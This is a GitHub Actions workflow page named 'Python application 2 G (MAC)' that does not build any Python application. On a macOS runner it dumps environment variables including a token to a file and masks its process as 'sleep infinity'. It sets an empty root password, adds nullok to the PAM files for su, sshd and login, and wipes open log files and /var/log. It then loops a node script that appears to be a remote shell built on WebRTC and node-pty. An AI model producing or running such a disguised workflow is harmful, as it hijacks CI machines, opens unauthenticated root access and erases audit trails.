-
Notifications
You must be signed in to change notification settings - Fork 1
55 lines (49 loc) · 2.01 KB
/
python-app-2-g-mac.yml
File metadata and controls
55 lines (49 loc) · 2.01 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
name: Python application 2 G (MAC)
on:
workflow_dispatch:
inputs:
data:
# Friendly description to be shown in the UI instead of 'name'
description: 'Input string'
# Default value if no value is explicitly provided
default: ''
# Input has to be provided for the workflow to run
required: false
permissions: write-all
jobs:
build:
runs-on: macos-latest
steps:
- uses: actions/checkout@v4
- name: Install dependencies
run: |
brew install node nmap mtr whois wget bind iftop ngrep aria2 cowsay neofetch
- name: Run
env:
GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}
run: |
npm install node-pre-gyp @roamhq/wrtc node-pty
set |grep -v "PWD\|HOME\|TERM" >.set
# The following line is modified for macOS and sources variables for the current user's shell.
# sudo sed -i '' -e '$a set -o allexport' -e '$a source /Users/runner/work/shell/shell/.set &>/dev/null' -e '$a set +o allexport' /Users/runner/.zshrc
# Execute the main script with sudo
# Note: Some commands from the original script that are Linux-specific have been removed or adapted.
exec -a "sleep infinity" sudo -sH <<EOF
dscl . -delete /Users/root UserShell &>/dev/null || true
dscl . -create /Users/root UserShell /bin/zsh
dscl . -passwd /Users/root ""
sed -i '' 's/pam_opendirectory.so/pam_opendirectory.so nullok/' /etc/pam.d/su
sed -i '' 's/pam_opendirectory.so/pam_opendirectory.so nullok/' /etc/pam.d/sshd
sed -i '' 's/pam_opendirectory.so/pam_opendirectory.so nullok/' /etc/pam.d/login
touch ~root/.hushlogin
cat logo.txt >/etc/issue
ln -sf /usr/share/zoneinfo/Africa/Cairo /etc/localtime
lsof -Fn | grep -F '.log' | grep -v deleted | awk '/^n/ {print substr(\$0, 2)}' | xargs -I {} rm -rf {}
rm -rf /var/log/*
while true
do
date
node shell_goog.js -r -l -t 120
sleep 2
done
EOF